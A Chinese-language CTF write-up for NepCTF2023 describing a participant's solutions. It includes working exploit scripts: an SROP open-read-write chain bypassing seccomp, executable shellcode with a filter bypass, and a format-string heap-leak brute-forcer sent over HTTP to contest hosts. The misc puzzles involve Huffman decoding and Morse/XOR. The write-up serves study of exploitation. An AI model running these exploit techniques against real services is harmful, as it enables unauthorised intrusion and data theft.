经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 程序设计 » C 语言 » 查看文章
NepCTF2023的wp
来源:cnblogs  作者:.N1nEmAn  时间:2023/8/16 9:15:08  对本文有异议

0x00 闲言碎语

2023.8.14 记录11-13的紧张刺激。46名结赛。

非常高兴能够参加NepCTF2023,以一个初出茅庐的新人的身份参加。ctf的乐趣在于学习和探索,同时我也有想证明自己的成分。

连续两天的凌晨四点睡觉,让我体会着比赛的魅力。每当我纠结一道题(code是第一晚,陌生的语言和login是第二晚)到凌晨四点沉沉睡去之后,第二天九点醒来总会伴随着灵光一闪。随后势如破竹解开题目。

真的很满足。

比赛的同时还被其他的一些事情牵制。比较遗憾的是比赛的最后结束一分钟才做出来一道pwn,如果那题做出来我就能杀进前四十,拿到一个证书和贴纸。可是没做出来就是没做出来,谁又能决定当下发生什么呢。

就像三哈师傅说的,ctf的魅力是挑战未知、知识、收获,还有友谊和成长。

这个过程的收获真的很丰富啊,Nep的师傅出的pwn题拓展性强,难度不高,大大的拓展了pwn在我眼里的可能性。而简单的misc也让我看到了网络空间安全世界的各种可能性。

我很享受这个比赛。

不过据说46也有贴纸,我的心里还算是有些安慰。终于能有一次只凭借自己的实力,拿到了一份属于自己的ctf的荣誉啊!

总体来说,也算是满载而归了。打完比赛的时候,后劲很大,回味无穷。仿佛刚刚结束了一场马拉松(虽然我没跑过哈哈哈哈)。

以下的wp是按照当时的解题顺序写的,参照前言也能窥见一二我当时的状态和比赛的乐趣。

0x01 srop

本题算是pwn的签到题目,使用srop手法控制参数。
使用seccomp-tools发现有沙盒,只能使用open,read和write。
难点是调节寄存器,需要一定调试能力。我调了一段时间。
image

这里orw三个函数goto 0009,0009是return ALLOW说明允许执行。
如果是goto 0010,就是禁用了。

exp前面有一些没用的参数设置(请忽略)。下面exp里有详细的注释。
(这题想走ret2csu打orw,但是卡在call那里了,不知道为什么找不到原因)
我到时候自己再看看,懂的师傅教教
【已解决】要call got表地址才对,我弄成plt了

  1. from evilblade import *
  2. context(os='linux', arch='amd64')
  3. context(os='linux', arch='amd64', log_level='debug')
  4. setup('./pwn')
  5. #libset('libc-2.23.so')
  6. rsetup('nepctf.1cepeak.cn',30418)
  7. evgdb('b 0x4007A8')
  8. lv = 0x000000000040074e
  9. rsir15 = 0x0000000000400811
  10. rdi =0x0000000000400813
  11. pp6 = 0x40080A
  12. read = 0x400799
  13. bss = 0x601500
  14. r3 = 0x004007F0
  15. nothing = 0x040082c
  16. syscall = 0x004005B0
  17. srop = 0x400750
  18. frame = SigreturnFrame()
  19. frame.rax = 0x20
  20. frame.rdi = 0
  21. frame.rsi = 0 #rdi
  22. frame.rdx = bss #rsi
  23. frame.rcx = 0x400 #rdx
  24. frame.rip = syscall
  25. frame.rsp = bss
  26. #上面这些是设置寄存器参数。
  27. #但是由于是call syscall这个库函数,而不是直接syscall
  28. #寄存器会存在一些偏移,要经过调试得出
  29. #(如上,例如rsi实际上存到rdi去了,rdx的存到rsi了)
  30. sl(b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa'+p64(0x601020)+p64(rdi)+p64(0xf)+p64(syscall)+bytes(frame)+b'flag\x00')
  31. #这边使用rdi传递0xf参数给syscall,进行SROP
  32. #(这里为什么不直接orw?因为无法直接控制rdx,ret2csu行不通,卡在call r12那里,具体原因赛后看看)
  33. ##############占个位置,到时候搞清楚了插上旗子【旗子】############3
  34. #所以用srop走
  35. flag = 0x601610
  36. frame2 = SigreturnFrame()
  37. frame2.rax = 0x20
  38. frame2.rdi = 2 #rax
  39. frame2.rsi = flag #rdi
  40. frame2.rdx = 0 #rsi
  41. frame2.rcx = 0x20 #rdx
  42. frame2.rip = syscall
  43. frame2.rsp = flag+8
  44. flag = 0x601610
  45. frame3 = SigreturnFrame()
  46. frame3.rax = 0x20
  47. frame3.rdi = 0 #rax
  48. frame3.rsi = 3 #rdi
  49. frame3.rdx = bss+0x400 #rsi
  50. frame3.rcx = 0x80 #rdx
  51. frame3.rip = syscall
  52. frame3.rsp = 0x601728
  53. flag = 0x601610
  54. frame4 = SigreturnFrame()
  55. frame4.rax = 0x20
  56. frame4.rdi = 1 #rax
  57. frame4.rsi = 1 #rdi
  58. frame4.rdx = bss+0x400 #rsi
  59. frame4.rcx = 0x80 #rdx
  60. frame4.rip = syscall
  61. frame4.rsp = 0x601838
  62. #直接设置参数打orw
  63. sme = p64(rdi)+p64(0xf)+p64(syscall)
  64. pause()
  65. sl(sme+bytes(frame2)+b'flag\x00\x00\x00\x00'+sme+bytes(frame3)+sme+bytes(frame4)+p64(0xdeadbeef))
  66. #栈溢出
  67. ia()

orw拿到flag。

image

0x02 与AI共舞的哈夫曼

让gpt写一下解压的python,训练一下就可以得到答案。
image

  1. import heapq
  2. import os
  3. class HuffmanNode:
  4. def __init__(self, char, freq):
  5. self.char = char
  6. self.freq = freq
  7. self.left = None
  8. self.right = None
  9. def __lt__(self, other):
  10. return self.freq < other.freq
  11. def build_huffman_tree(frequencies):
  12. heap = [HuffmanNode(char, freq) for char, freq in frequencies.items()]
  13. heapq.heapify(heap)
  14. while len(heap) > 1:
  15. left = heapq.heappop(heap)
  16. right = heapq.heappop(heap)
  17. merged = HuffmanNode(None, left.freq + right.freq)
  18. merged.left = left
  19. merged.right = right
  20. heapq.heappush(heap, merged)
  21. return heap[0]
  22. def build_huffman_codes(node, current_code, huffman_codes):
  23. if node is None:
  24. return
  25. if node.char is not None:
  26. huffman_codes[node.char] = current_code
  27. return
  28. build_huffman_codes(node.left, current_code + '0', huffman_codes)
  29. build_huffman_codes(node.right, current_code + '1', huffman_codes)
  30. def compress(input_file, output_file):
  31. with open(input_file, 'rb') as f:
  32. data = f.read()
  33. frequencies = {}
  34. for byte in data:
  35. if byte not in frequencies:
  36. frequencies[byte] = 0
  37. frequencies[byte] += 1
  38. root = build_huffman_tree(frequencies)
  39. huffman_codes = {}
  40. build_huffman_codes(root, '', huffman_codes)
  41. compressed_data = ''
  42. for byte in data:
  43. compressed_data += huffman_codes[byte]
  44. padding = 8 - len(compressed_data) % 8
  45. compressed_data += '0' * padding
  46. with open(output_file, 'wb') as f:
  47. # Write frequency information
  48. f.write(bytes([len(frequencies)]))
  49. for byte, freq in frequencies.items():
  50. f.write(bytes([byte, (freq >> 24) & 0xFF, (freq >> 16) & 0xFF, (freq >> 8) & 0xFF, freq & 0xFF]))
  51. # Write compressed data
  52. for i in range(0, len(compressed_data), 8):
  53. byte = compressed_data[i:i+8]
  54. f.write(bytes([int(byte, 2)]))
  55. def decompress(input_file, output_file):
  56. with open(input_file, 'rb') as f:
  57. data = f.read()
  58. # Read frequency information
  59. num_symbols = data[0]
  60. frequencies = {}
  61. index = 1
  62. for _ in range(num_symbols):
  63. byte = data[index]
  64. freq = (data[index + 1] << 24) | (data[index + 2] << 16) | (data[index + 3] << 8) | data[index + 4]
  65. frequencies[byte] = freq
  66. index += 5
  67. root = build_huffman_tree(frequencies)
  68. decoded_data = []
  69. current_node = root
  70. for byte in data[index:]:
  71. bits = [int(bit) for bit in f"{byte:08b}"]
  72. for bit in bits:
  73. if bit == 0:
  74. current_node = current_node.left
  75. else:
  76. current_node = current_node.right
  77. if current_node.char is not None:
  78. decoded_data.append(current_node.char)
  79. current_node = root
  80. with open(output_file, 'wb') as f:
  81. f.write(bytes(decoded_data))
  82. if __name__ == "__main__":
  83. input_file = 'input.txt'
  84. compressed_file = 'compressed.bin'
  85. decompressed_file = 'decompressed.txt'
  86. # 解压缩文件
  87. decompress(compressed_file, decompressed_file)

0x03 小叮弹钢琴

本人pwn手+业余音乐人,撞到专业枪口上了()。
丢进水果。
image

前面的长长短短是摩斯电码,后面就是数字了,得到信息:

YOU SHOULD USE THIS TO XOR SOMETHING
0x370a05303c290e045005031c2b1858473a5f052117032c392305005d1e17

然后根据前面是NepCTF,去异或试了几下,发现得到的是you,那么就是需要异或YOU SHOULD USE THIS TO XOR SOMETHING这一个字符串无疑了。

去异或了一下得到答案。

  1. # 原始文本和密文
  2. text = "youshouldusethistoxorsomething"
  3. ciphertext = bytes.fromhex("370a05303c290e045005031c2b1858473a5f052117032c392305005d1e17")
  4. # 将文本转换为字节序列
  5. text_bytes = text.encode()
  6. # 逐位异或操作并生成解密结果
  7. decrypted_bytes = bytes([a ^ b for a, b in zip(text_bytes, ciphertext)])
  8. # 将解密结果转换为字符串
  9. decrypted_text = decrypted_bytes.decode()
  10. print(decrypted_text)

image

0x04 ConnectedFive

下五子棋,下下下下,下赢了就行了。
本题注意的就是要提供稳定的网络环境哈哈哈哈哈别下一半卡了,好多师傅说卡。
嗯,没啥多说的。

0x05 codes

这题很抽象,也是我花时间最长的一题(是不是有点蠢……),所以我花多一点篇幅讲讲。

1.初步尝试:shellcode

在得知sys,env,open,read,write都被过滤之后,作为一个pwn手首先想到了就是使用shellcode。发现\x也被过滤,转而写了个可打印字符串的shellcode,然后又发现不如直接用整数冒充shellcode。

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. int main() {
  4. // 声明一个函数指针
  5. void (*func_ptr)();
  6. long long int values[] = {
  7. 0x006362616858556a,
  8. 0x5e000001ff685f54,
  9. 0x6858016a5f50050f,
  10. 0xe3c1485b766e652f,
  11. 0x03486e69622f6820,
  12. 0x6a5e5453006a241c,
  13. 0x00000000050f5a08
  14. };
  15. func_ptr = (void (*)()) values;
  16. long long int a = values;
  17. a = a & 0xfffffffff000;
  18. mprotect(a, 0x1000, 7);
  19. // 调用函数指针,执行跳转到字符串
  20. func_ptr();
  21. return 0;
  22. }

很帅吧,可惜我没想到出题人这么阴,mprotect也禁了……想尝试写一个/bin/env的sh文件,然后再命令/bin/sh 执行他。也不行捏。

2.字符串拼接posix_spawn

可以执行任意命令,但是env命令没有回显,白给。
并且尝试了子进程创建等等方式,无果。

  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <spawn.h>
  4. int main() {
  5. pid_t child_pid;
  6. char path[100] = "/bin/l"; // 初始路径
  7. strcat(path, "s"); //
  8. char *const argv[] = { path, "-l","/dev", NULL }; // 命令行参数,包括路径和命令参数
  9. int result = posix_spawn(&child_pid, path, NULL, NULL, argv, NULL);
  10. if (result == 0) {
  11. // 等待子进程结束
  12. waitpid(child_pid, NULL, 0);
  13. } else {
  14. // 错误处理
  15. perror("posix_spawn");
  16. }
  17. return 0;
  18. }

3.惊人的答案

打印虚空变量即可。

  1. #include <stdio.h>
  2. int main(int argc, char *argv[], char *e[]) {
  3. for (int i = 0; e[i] != NULL; i++) {
  4. printf("%s\n", e[i]);
  5. }
  6. return 0;
  7. }

image

0x06 陌生的语言

本题根据提示可知是小魔女学园的月文和龙语。

比较考察搜索能力。有意思的事情是在对照完月文之后,直接搜索提示的人名和小魔女学园HEART IS YOUR MAGIC可以得到flag(相信的心就是你的魔法!)。

不过出题人在前面加了个NEPNEP,所以最后还是灰溜溜查龙文才做出来。
image

https://tieba.baidu.com/p/4945307221#/
查就完事了。

在这里夸夸手机版bing和百度贴吧,感谢你们强劲的搜索能力和用户的高质量内容。
image
image

0x07 login

0.前言碎碎念

这题本来是抢三血的,奈何不知道怎么发送格式,白白浪费了大好时机,凌晨三点半眼睁睁看着三血被抢走。还是没能拿到一个属于自己的前三。

顺便记录一下用dockerfile复现的方式。
参考文章

  1. ~/ctf/match/nep2023/review ? sudo systemctl restart docker
  2. 重启服务
  3. ~/ctf/match/nep2023/review ? sudo docker build -t login .
  4. 执行dockerfile
  5. ~/ctf/match/nep2023/review ? docker images
  6. 查看是否创建成功
  7. ~/ctf/match/nep2023/review ? docker run -i -d -P login
  8. 创建容器
  9. ~/ctf/match/nep2023/review ? docker ps
  10. 查看端口
  11. 结束的话使用docker stop docker的名字
  12. docker的程序调试
  13. ps -ef | grep 'login'
  14. 看进程
  15. sudo gdb attach __id__
  16. 来进行debug
  17. docker exec -it <CONTAINER_ID_or_NAME> /bin/bash
  18. 进入docker
  19. docker rmi -f <IMAGE_ID>
  20. 删除镜像

出题师傅给的附件run.sh要删去

  1. echo $GZCTF_FLAG>/flag.txt
  2. export GZCTF_FLAG=flag{test}

改为

  1. #!/bin/bash
  2. while true; do
  3. # 复制 flag.txt
  4. cp /flag.txt /home/ctf/
  5. # 在 chroot 环境中执行 login 程序
  6. chroot /home/ctf /bin/bash -c "/bin/bash -c "./login" "
  7. # 休眠 60 分钟
  8. sleep 3600
  9. done

因为我们这儿没有GZCTF的环境变量,不然的话就会像我一样复现不出来flag哈哈哈。

wp

1.静态分析

(取附件方法在2.里头,两个方法)
本题查看ida,发现在登录的时候存在格式化字符串漏洞。
image

可以查到栈上所有数据。
image
从这个函数发现flag是被加载到了堆里。
image
开头执行了这个函数。
所以我们要做的就是在栈上把堆的地址找出来,然后用%s打印出flag。
image

image

根据ida的栈值除以8,发现偏移在15090左右,然后用for循环一个一个看,发现15059存在堆地址。(其中第16个是字符串‘./www’的地址,这个是pie地址的,所以可以形成对照确定这个是堆地址而不是程序自身地址)

找到堆地址之后 二分法爆破。
一开始想从前0x1000爆破到后0x1000,有点太慢了,所以改了以已知为中心爆破

2.实施攻击

2.1 下载附件

image

随便登录一下,一直走到这儿。

因为点击readme.txt之后,得到一个下载链接虽然进不去。但是把readme.txt改成login之后就下载附件了。

输入ip:32769/view_file/login作为链接即可下载附件。

出题师傅的方法是ctrl+u查看源码。(要 学 一 点 web!!!)
image
然后使用list_flies。
image

这样是相对路径。
image

这样就是/的绝对路径了。从这里直接点login也可以下载到,会跳转到刚才我说的链接去。

2.2 调试爆破栈上内存 寻找自己偏移

密码就是随便输入就行,user这里看ida知道是有格式化字符串漏洞。

本身偏移

输入:
image

结果:
image

堆偏移

输入:
image
结果:
image

2.3 任意地址读

这题学到了GET请求的方式,以及POST,以后遇到http的题目再也不怕啦!
存着好好学学。

要注意,先登录一下,并且点开界面还有readme.txt,让他把堆地址都载入栈中(执行相应malloc)。
注意有时候输出的%s太大会崩……

  1. from evilblade import *
  2. import requests
  3. context.log_level = 'debug'
  4. value = p64(0x55d023f147a0)
  5. #这里写使用%15059$p手动泄露的地址。
  6. value1 = value
  7. value2 = value
  8. url = "http://106.75.63.100:34897/login"
  9. #这里写ip和端口
  10. while True:
  11. #加的
  12. value1 = p64(u64(value1)+0x10) # 增加0x10的步长
  13. params1 = {
  14. "user": b'%36$s---' + value1,
  15. "password": "a"
  16. }
  17. #user 这么写是因为本身偏移是35,但是一开始写地址的话存在\x00截断
  18. #所以把地址写在了后面,就变成偏移36了
  19. #并且这里除了%36$s还要填充八个字节,保证对齐
  20. dpx('nows value1',u64(value1))
  21. response1 = requests.get(url, params=params1)
  22. dp('message\n', response1.text)
  23. #dp就是dataprint,我自己库 魔刀千刃evilblade 的实现函数。
  24. if 'CTF' in response1.text:
  25. break
  26. value2 = p64(u64(value2)-0x10) # 减少0x10的步长
  27. params2 = {
  28. "user": b'%36$s---' + value2,
  29. "password": "a"
  30. }
  31. dpx('nows value2',u64(value2))
  32. response2 = requests.get(url, params=params2)
  33. dp('message\n', response2.text)
  34. if 'CTF' in response2.text:
  35. break
  36. #sleep(0.1) # 等待一段时间再继续下一次请求

image

0x08 HRP-CHAT-3

image

遗憾离场。

image

根据源码得知,子程序崩溃后,进入安全模式可以拿到flag。

  1. from evilblade import *
  2. context(os='linux', arch='amd64')
  3. context(os='linux', arch='amd64', log_level='debug')
  4. rsetup('nepctf.1cepeak.cn',31526)
  5. ru(b'help')
  6. sl(b'Login\n')
  7. sla('6',b'Login\n'*0x1000)
  8. #然后随意输入数据d73-16f1-418d-a,乱点回车
  9. #子程序崩溃进入安全模式
  10. #Safe_Mode_Key
  11. ia()

一顿乱打(一定要连续输入回车,溢出info数组)让他崩溃,然后输入Safe_Mode_Key拿到flag。
期待剩下三个flag的解法……到时候看看别人wp学习学习。
image

0x09 HRP-CHAT-2

抽中角色打败就行了,8.14复现的。
当时人太紧张完全不知道下标是怎么回事。
果然心态心态心态很重要啊……原来直接打败就行了。
image

0xFF 尾声

最后再次感谢所有Nepnep联合战队成员为比赛做出的贡献!体验非常好!特别感谢HRP师傅对我在pwn方向的一些指导。希望大家一起进步!

NepCTF2024,再见!

原文链接:https://www.cnblogs.com/9man/p/17629436.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号